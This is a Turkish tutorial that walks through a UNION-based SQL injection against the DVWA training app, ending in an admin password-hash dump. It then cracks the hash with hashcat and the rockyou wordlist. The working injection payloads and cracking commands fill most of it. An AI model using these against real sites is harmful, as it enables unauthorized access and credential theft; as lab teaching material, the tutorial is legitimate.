Ders 14 - SQL Injection (Low Level)
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak SQL Injection saldırısında bulunulacaktır.

Dersin Hedefi

Hedef sitenin veritabanında saklı olan admin şifresini SQL Injection açığından faydalanarak öğrenin.

SQL Injection Nedir?

SQL Injection, yani SQL Enjeksiyonu saldırısı bir web uygulamasına bağlı istemcinin gireceği input verisi aracılığıyla sunucudaki var olan SQL sorgusuna yeni SQL sorgusu ilave etmesine, diğer tabirle enjekte etmesine denir. SQL Injection saldırısı ile hedef sitenin hassas verilerine erişilebilir, hedef sitenin veritabanı modifiye edilebilir. Ve evet. Sql injection ile sayfa da hack'lenebilmektedir. Bu derste sayfa hack'lenmeyecektir, bunun yerine hassas bilgiye erişim gösterilecektir. Fakat bundan sonraki derste SQL Injection ile nasıl sayfa hack'leyebileceğiniz gösterilecektir.

SQL Injection Saldırısı Nasıl Yapılır?

Öncelikle işe daha iyi vakıf olabilmek adına DVWA'daki ders ekranının sunduğu işleve bir göz atalım. Ekrandaki metin kutusuna bir sayı girin:





Görüldüğü üzere bir kayıt ekrana yansımıştır. Bu mekanizmadan anlayabileceğiniz gibi metin kutusuna girilen değere göre veritabanından bir kayıt çekilip ekrana yansıtılmaktadır. Arkaplanda bu işi yapan sql sorgusu şu şekildedir:



SELECT first_name, last_name FROM users WHERE user_id = '$id';



Şimdi hedef sitede (DVWA'da) SQL Injection açığı var mı yok muyu bir test edelim. Bunun için ekrandaki metin kutusuna tırnak (') işareti girin. Eğer tırnak işareti girildikten sonra site bir SQL syntax hatası veriyorsa - ki verecek - site SQL Injection açığına sahip demektir. Tırnak işareti siteye hata verdirir, çünkü sql sorgularında özel bir anlama sahiptir. Bu karakter SQL sorgularındaki WHERE koşullarında yer alan field'ların değerlerini sınırlandırmaya yarayan bir komuttur. Aşağıda metin kutusuna normal bir değer girildiği durumda arkaplanda sql sorgusunun büründüğü hal ile metin kutusuna tırnak işareti girildiği durumda sql sorgusunun büründüğü hal gösterilmektedir:



SELECT first_name, last_name FROM users WHERE user_id = '1';

SELECT first_name, last_name FROM users WHERE user_id = '1'';



İkinci SQL sorgusunda görüldüğü üzere girilen tırnak değeri (kırmızı olan) SQL sorgusu için fazlalık teşkil edecektir ve bu nedenle sitede hataya sebebiyet verecektir.

NOT: Eğer SQL sorgusunun WHERE koşulundaki field'ların değerleri tırnak işareti konulmadan koyulmuşsa bu durumda yine değer olarak tırnak verildiğinde tırnak karakteri hataya sebebiyet verecektir. Çünkü hiç tırnak kullanımı yokken bir tırnak gelirse o kapatılmaya ihtiyaç duyacaktır ve SQL sorgusu tırnak kullanmadığından kapatılmayacağı için yine hata meydana gelecektir.

Sitede zafiyet var mı diye deneme yapan kişi ilgili sayfanın arkaplanında yer alan SQL sorgusundaki Where cümleciğinde tırnaklı mı kullanım var yoksa tırnaksız mı diye düşünmesine gerek yoktur. Her iki durumda da metin kutusuna girilecek tırnak karakteri hataya sebep olmaktadır. Birinde fazla tırnak hatasından dolayı, diğerinde eksik tırnak hatasından dolayı.


Peki tırnak karakteri ile web sitenin hata vermesi nasıl oluyor da bir güvenlik açığı oluyor? Bunun nedeni tırnak karakterleri ile SQL sorgusunun WHERE cümleciğindeki field'ların değerini kapatıp devamına yeni SQL kodları ekleyebiliyor oluşumuzdandır. Fakat buna geçmeden önce biraz keşif yapalım.

Arkaplandaki SQL sorgusunun WHERE cümleciğini iptal edelim. Böylece veritabanından çekilecek veri kısıtlaması ortadan kalkacak ve ilgili DVWA sayfasının kullandığı tüm veritabanı tablosu kayıtları ekrana yansıtılacaktır.



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' #

SQL Sorgusunun Durumu:
SELECT first_name, last_name FROM users WHERE user_id = '99' or '1' = '1' # ';



Yukarıdaki 99 sayısının bir anlamı yoktur. Dilediğiniz sayıyı girebilirsiniz. Fakat '1' = '1' ifadesinin bir anlamı vardır. O da şudur ki 1 sayısı daima 1 sayısına eşit olacağından bu kıyaslama sürekli true döneceği için WHERE koşulu veritabanından çekilecek kayıtlar konusunda herhangi bir kısıtlamada bulunamayacaktır. Dolayısıyla veritabanından tüm satırlar çekilecektir.





Yani arkaplandaki while döngüsü satır sayısı kadar dönecektir ve her iterasyonda ilgili satırın bilgilerini ekrana çıktı olarak yukarıdaki resimde olduğu gibi verecektir. Metin kutusuna girilen kodun sonundaki # işareti MySQL'de SQL sorgusunun geri kalanını yorum yap anlamına gelir. Böylece SQL sorgusunun kendinde olan tırnak karakteri fazla olmasına rağmen hataya neden olmayacaktır.

NOT: -- işareti Oracle'da SQL sorgularının geri kalanını yorum yap anlamına gelir.

Şimdi saldırı aşamasına geçelim. Amacımız hedef sitenin admin kullanıcısının şifresini öğrenmektir. Bunun için yapılması gereken işlem en genelden en spesifiğe doğru MySQL'i taramaktır. Yani önce SQL Injection ile MySQL'de kaç tane yüklü veritabanı varsa onların isimlerini ekrana yazdırmalıyız. Sonra içlerinden birini seçip seçtiğimizin veritabanına ait tüm tabloların isimlerini ekrana yazdırmalıyız. Daha sonra seçtiğimiz tablonun tüm kolonlarının isimlerini ekrana yazdırmalıyız. Daha sonra kullanıcı adı ve şifre isimlerine sahip ya da benzer isimlere sahip kolonları seçip bu kolonları içeren tablonun kullanıldığı bir SQL sorgusunu mevcut SQL Sorgusuna ilave ederek kolon değerlerini ekrana basmalıyız. Böylece en genelden en spesifiğe doğru olan bu yolculukta şifre gibi hassas verilere web arayüzünden ulaşmış olacağız. Hadi başlayalım:



1. ORDER BY ile Keşif
SQL Injection zafiyetine sahip web sayfasına kendi oluşturacağımız SQL sorgusunu ilave etmenin yolu UNION keyword'ünü kullanmaktan geçer. Bu keyword solunda ve sağındaki SQL sorgularının çektiği satırları alt alt toplamaya yarar. Fakat UNION'in söyle bir kısıtı vardır: UNION'ın sol tarafındaki sorgunun seçilen kolonlarının sayısı ile sağ tarafındaki sorgunun seçilen kolonlarının sayısının aynı olması gerekmektedir. Dolayısıyla UNION'i kullanabilmek için bizim SQL Injection zafiyetine sahip ilgili sayfanın kullandığı SQL sorgusunda kaç tane kolon seçildiğini öğrenmemiz gerekir. Bunu öğrenebilmek için ORDER BY keyword'ünden yararlanacağız. Bu keyword esasında tablodan çekilen kayıtları sıralama düzenini ayarlar, fakat biz bunu tablonun kolon sayılarını belirleme amacıyla kullanacağız. Şöyle ki;



Select ... Where ... ORDER BY 1



Yukarıdaki ORDER BY der ki Select'in seçtiği satırları 1. Kolona göre alfabetik olarak sırala. Eğer 1 sayısı yerine 2 sayısı konulsaydı o zaman "Select'in seçtiği satırları 2. kolona göre alfabetik olarak sırala" emri verilmiş olurdu. Bu ne işe yarayacak diye düşünüyorsanız işte cevabı: ORDER BY'ın sayısını sırayla birer birer arttırıp metin kutusuna girdiğimizde tüm satırlar ilgili kolona göre sıralanacaktır. Fakat ne zaman sayfa bir SQL hatası verirse bu durumda girilen sayıda kolon sayfadaki SQL sorgusunun kullandığı tabloda mevcut değil demektir. Farz-i muhal ORDER BY 10 dendiğinde eğer sayfa hata verirse o zaman anlaşılır ki Select'in (mevcut sql sorgusunun) seçtiği kolon sayısı 9'dur. Hata şu şekilde görünür:



*Unknown column '10'!



Dolayısıyla SQL sorgusunun kullandığı kolon sayısını böylece tespit edebiliriz. Bunu DVWA'ya uygulayacak olursak sırasıyla ekrandaki metin kutusuna aşağıdaki verileri girin:



99' or '1' = '1' ORDER BY 1 #

99' or '1' = '1' ORDER BY 2 #

99' or '1' = '1' ORDER BY 3 #



ORDER BY 3'te hata verir. Dolayısıyla anlarız ki ilgili SQL sorgusu Select ile sadece 2 tane kolon seçmektedir. Şimdi bu bilgiyi UNION ile ilave edeceğimiz kendi SQL sorgumuzda kullanalım. Böylece herhangi bir syntax hatasına maruz kalmadan işlemlerimize devam edebilelim.



2. UNION ile SQL İlave Etmek
ORDER BY ile mevcut SQL sorgusunun kullandığı tablonun kolon sayısını tespit etmiştik. Bu sayı 2 idi. Şimdi bu bilgiyi kullanarak UNION ile kendi oluşturacağımız bir SQL sorgusunu mevcut SQL sorgusuna ilave edelim.



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,2 #



Yukarıdaki metin kutusuna girilecek input ile arkaplanda önce sayfanın kendisine ait SQL sorgusunın kullandığı tablonun tüm satırları çekilir. Sonra UNION ile ilave ettiğimiz yeni sorgunun 1 ve 2 verisi önceki sorgunun altına kolon kolona denk gelecek şekilde eklenir. Yani ekrana kayıtları basmaya yarayan while döngüsü UNION'in solundaki SQL sorgusu kadar çalışacağı gibi ayrıca bir de UNION'in sağındaki bizim ilave ettiğimiz SQL sorgusunun kayıtları kadar çalışacaktır. Şu an için biz sadece birinci kolona 1 verisini, ikinci kolona 2 verisini ekledik. Yani bir satırlık bir veri eklemesinde bulunduk. Bu satır while'in son iterasyonuna denk geleceğinden dolayı ekranda en altta gösterilecektir:





Bu 1 ve 2 verisinin ekranda gösterildiği konum bir köşeye not edilmelidir. Çünkü ileride bu verilerin yerine SQL fonksiyonları koyulacaktır ve SQL fonksiyonlarının döndürdüğü değerler 1 veyahut 2 yerine gösterilecektir.



3. SQL Fonksiyonları İle Keşif
Şimdi zafiyete sahip web sayfasının kullandığı veritabanını tanımak için bazı SQL fonksiyonları kullanalım:



● version() fonksiyonu kullanılan veritabanı yazılımının versiyonunu verir.



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,version() #



NOT: version() fonksiyonu 2 verisi yerine konulduğu için önceden 2 verisinin görüntülendiği yer olan Surname: şimdi MySQL'in versiyonunu gösterir.



● user() fonksiyonu veritabanı yazılımının kullanıcı adını verdirir:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,user() #





● database() fonksiyonu mevcut sql sorgusunun kullandığı tablonun yer aldığı veritabanının adını verir:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,database() #





● @@datadir keyword'ü veritabanının yüklü olduğu dizini verir:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,@@datadir #





4. Hedefe Doğru
Keşif işlemi sonrası artık şifre gibi hassas bilgileri ele geçirme işlemine başlayabiliriz. Önce hedef sistemdeki tüm veritabanı isimlerini öğrenelim. Bunun için MySQL'le beraber default olarak gelen information_schema adlı veritabanından yararlanacağız. Bu veritabanı MySQL'in 5.0.0 versiyonu ve sonrasında var olduğundan ve keşif aşamasında yaptığımız tespite göre MySQL'in versiyonu 5.5.46 olduğundan bu veritabanını kullanabileceğiz demektir. information_schema adlı bu veritabanı MySQL'de oluşturulan tüm yeni veritabanlarının, tabloların, kolonların kaydını dinamik olarak tutan bir veritabanıdır. Hedef sistemdeki tüm veritabanlarının isimlerini information_schema veritabanının schemata adli tablosundaki schema_name adlı kolonundan öğrenebiliriz(Bunları ezberlemenize gerek yoktur. Phpmyadmin'i açıp information_schema'yi inceleyerek aradığınızı zaten bulabilirsiniz. Ona göre de enjeksiyon kodunu yazabilirsiniz):



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata #



Yukarıdaki enjeksiyon kodundaki UNION sonrası ilave ettiğimiz sorgu hedef sistemdeki tüm veritabanı isimlerini satır satır çekecektir. UNION öncesinin satırları ile UNION sonrasının satırları alt alta eklenecektir. Veritabanı ismi sayısı kadar while döngüsünün iterasyonu fazladan tekrarlanacak ve ona göre de ekrana çıktı yansıyacaktır. UNION'ın sağındaki bizim ilave ettiğimizz sorgunun döndüreceği veritabanı isimlerini alt alta değil de tek satırda görmek işimizi kolaylaştırır. Dolayısıyla okunurluğu arttırmak adına bu satırları group_concat() fonksiyonu ile tek satıra indirgeyip virgül ile birbirlerinden ayıralım:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,group_concat(schema_name) from information_schema.schemata #



Böylece while dongusu ekstradan sadece bir kez dönecektir ve aşağıdaki çıktı meydana gelecektir:





Sarı renkle vurgulananlar hedef sistemin MySQL'indeki yüklü veritabanlarını göstermektedir. Sıralanan veritabanlarından diyelim ki dvwa'yi gözümüze kestirdik. Onu seçtik ve bir köşeye not ettik.

Şimdi seçtiğimiz dvwa veritabanının tablolarını ekrana basalım. Böylece odaklanacağımız tabloyu belirlemiş olalım. Bu işlem için yine information_schema veritabanınından faydalanacağız. Fakat bu sefer tables adlı tablosunu kullanacağız. tables tablosunun table_name kolonu MySQL'deki tablo adlarını sıralamaktadır. Biz daha önce belirlediğimiz veritabanı olan dvwa'nin içerdiği tabloları sıralamak için sorgumuza bir WHERE koşulu ilave edeceğiz.



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema='dvwa' #





Girilen koda dikkat edin. Daha önce belirlediğimiz dvwa adlı veritabanının tablolarını sıralama sorgusu ekledik. Bunun sonucu olarak yukarıdaki resimden de görebileceğiniz gibi dvwa adlı veritabanının tabloları sıralandı. Şifre tarzı bilgilerin yer alabileceğini düşündüğümüz tablo olarak users'i gözümüze kestirelim ve ona odaklanalım.

Seçtigimiz veritabanı olan dvwa'nın seçtiğimiz tablosu users'i tanımak için kolon isimlerini ekrana basabiliriz. Bunun için tekrar information_schema adlı veritabanından faydalanacağız. Bu sefer bu veritabanının columns tablosunu kullanacağız. Bu tablonun column_name kolonu MySQL'deki tüm kolonları satır satır sıralar. Biz sadece daha önce belirlediğimiz tablo olan users'in kolonlarının isimlerini öğrenmek istediğimizden columns tablosuna WHERE ile kayıt daraltma işlemi uygulayacağız:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name='users' #





Görüldüğü üzere users tablosunun kolon isimleri ekrana geldi. Böylelikle kullanıcı adı ve şifre değeri tutan user ve password adlı kritik kolonları tespit etmiş bulunmaktayız. Sıra bunların tuttuğu değerleri yazdırmakta.

Belirledigimiz veritabanının belirlediğimiz tablosunun belirlediğimiz kolonlarının değerlerini yazdırmak için ilave ettiğimiz SQL sorgusunu buna göre şekillendirmemiz gerekmektedir. Kullanılacak tablo olarak belirlediğimiz tablo ismini kullanıp Select'in seçeceği kolon isimleri olarak da username ve password'ü kullanarak işlemi tamamlayabiliriz.



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #



Görüldüğü üzere hedef sitenin hedef veritabanı tablosunda kayıtlı kullanıcı adları ve şifrelerini ekrana basmış bulunmaktayız. Şifreler MD5 ile şifrelenmiş vaziyettedir. Bu şifrelenmiş şifreler HashCat adlı tool ile kırılabilir. Hashcat ile nasıl kırılacağı aşağıda Ekstra adlı başlıkta açıklanacaktır. Saldırı koduna dönecek olursak dikkat ederseniz 0x3b ve 0x0a kullanılmıştır. 0x3b hexadecimal sistemde noktalı virgül (;) anlamına gelir. 0x0a ise hexadecimal sistemde satır atlatma anlamına gelir. Böylelikle kullanıcı adlarını ve şifrelerini birbirlerinden okunurluğa uygun bir şekilde ayrık olarak ekrana yansıtılmasını sağlamış olduk.

Özet

Enjeksiyon boyunca metin kutusuna girilen kodlar sırasıyla aşağıda verilmiştir:

99' or '1' = '1' #
99' or '1' = '1' ORDER BY 1 #
99' or '1' = '1' ORDER BY 2 #  
99' or '1' = '1' ORDER BY 3 #  
99' or '1' = '1' UNION Select 1,2 #
99' or '1' = '1' UNION Select 1,version() #  
99' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata #
99' or '1' = '1' UNION Select 1,group_concat(schema_name) from information_schema.schemata #
99' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema='dvwa' # 
99' or '1' = '1' UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name='users' #
99' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #


Sonuç

Uzun lafın kısası metin kutuları gibi kullanıcının input girebileceği yerler denetlenmeye tabi tutulmalıdır. Mesela kullanıcıdan gelen veri tırnak içeriyorsa bu olduğu gibi sql sorgusuna katılmamalıdır. Bunun yerine ya tırnak işareti silinip sql sorgusuna dahil edilmelidir ya da tamamen bloklanmalı, yani sql sorgusuna dahil edilmemelidir. Eğer böylesi denetim mekanizmaları PHP, ASP, JSP gibi dillerle kurulmazsa bu derste olduğu gibi tek tırnak karakterinden hedef web uygulamasının admin kullanıcısının şifresine ulaşabiliriz.

Ekstra

SQL Injection ile elde edilen parolalardan admin'inkini HashCat adlı parola kırma yazılımıyla kıralım. Öncelikle Hashcat'i indirelim (Linux kullandığınız varsayılmıştır):

https://drive.google.com/file/d/1u4_M3BdAMmqUWZQ_PIYcN7hjvwXSCbNC/view?usp=share_link


Ardından sıkıştırılmış dosyayı açalım:

chmod a+x hashcat-2.00.tar.gz
tar -xzvf hashcat-2.00.tar.gz
cd hashcat-2.00


Parolayı kırmak için yaklaşık 14 milyon satırlı meşhur bir sözlük dosyasını indirelim:

NOT: Sözlük ile kastedilen her satırda bir kelimenin yer aldığı milyonlarca satırlık text dosyasıdır. Bu text dosyasındaki her bir kelime sırasıyla bir algoritma ile hash'e dönüştürülüp bizim admin kullanıcısının parolasıyla (hash'iyle) kıyaslanacaktır. Ne zaman eşleşme olursa o zaman eşleşen hash'lere sebebiyet veren sözlükteki kelime bizim asıl parolamız demektir. Yani parolayı kırmış oluruz.

wget http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt 


Artık hashcat ile parola kırmak için hazırız. SQL Injection ile elde ettiğimiz parola şuydu:



admin;5f4dcc3b5aa765d61d8327deb882cf99



Hash verisini bir dosyaya kaydedin:



parola.txt:
5f4dcc3b5aa765d61d8327deb882cf99



Yukarıdaki parola MD5 algoritması ile şifrelenmiştir. Dolayısıyla hashcat için -m 0 parametre değeri kullanılmalıdır (hashcat'in kullanımına pek girmeyeceğim). Ardından terminale şunu girin:

./hashcat-cli64.bin -m 0  -a  0  parola.txt  rockyou.txt


Ve enter'layın. Böylece şifreyi kırmış olursunuz:





Görüldüğü üzere admin kullanıcısının şifresi "password"müş. Böylece serüvenin sonuna gelmiş bulunmaktayız.
Bu yazı 17.01.2016 tarihinde, saat 08:23:15'de yazılmıştır. 05.02.2023 tarihi ve 15:33:36 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 5529
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :